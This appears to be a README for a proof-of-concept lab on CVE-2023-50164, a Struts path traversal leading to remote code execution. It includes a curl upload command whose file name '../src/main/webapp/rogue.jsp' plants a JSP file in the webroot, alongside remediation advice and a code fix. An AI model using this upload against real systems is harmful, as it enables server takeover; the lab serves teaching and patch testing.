This is a Proof of Concept (PoC) for CVE-2023-50164, which outlines a new path traversal vulnerability which can lead to Remote Code Execution (RCE) in struts-core.
To remediate the issue, it is advised that you update to Struts 2.5.33 or Struts 6.3.0.2 or greater.
This repo builds off the excellent work of Henrik Plate found here.
There are two maven profiles in this project: vuln
and no-vuln
. vuln
is the default.
To run with the RCE vuln, execute the following:
mvn clean jetty:run -P vuln
To run without the RCE vuln, execute the following:
mvn clean jetty:run -P no-vuln
The difference between the two profiles is vuln
uses struts-core
version 6.3.0.1
(which has the path traversal vulnerability) and no-vuln
uses struts-core
version 6.3.0.2
(which does not have the path traversal vulnerability)
while running the vuln
profile described above, execute the following:
curl \
http://localhost:9999/struts-vuln-poc/upload.action \
-F "Upload=@./payload/rogue.jsp" \
-F "uploadFileName=../src/main/webapp/rogue.jsp"
You'll be able to see the file rogue.jsp
in the src/main/webapp
folder and you can browse to it at:
http://localhost:9999/struts-vuln-poc/rogue.jsp
(you'll see a Ya been PWNED! message).
There is a code fix solution that works with the older Struts versions, but, it is still highly advised to update your version of Struts.
To exercise the code fix, execute the following:
curl \
http://localhost:9999/struts-vuln-poc/upload-no-vuln.action \
-F "Upload=@./payload/rogue.jsp" \
-F "uploadFileName=../src/main/webapp/rogue.jsp"
You'll see an error message: Attempted path traversal attack
NOTE: If you use the no-vuln
profile, you won't get an error message from the /upload-no-vuln
endpoint, even if you use a relative path like: ../src/main/webapp/rogue.jsp
, as the new version of struts
automatically strips away relative path references.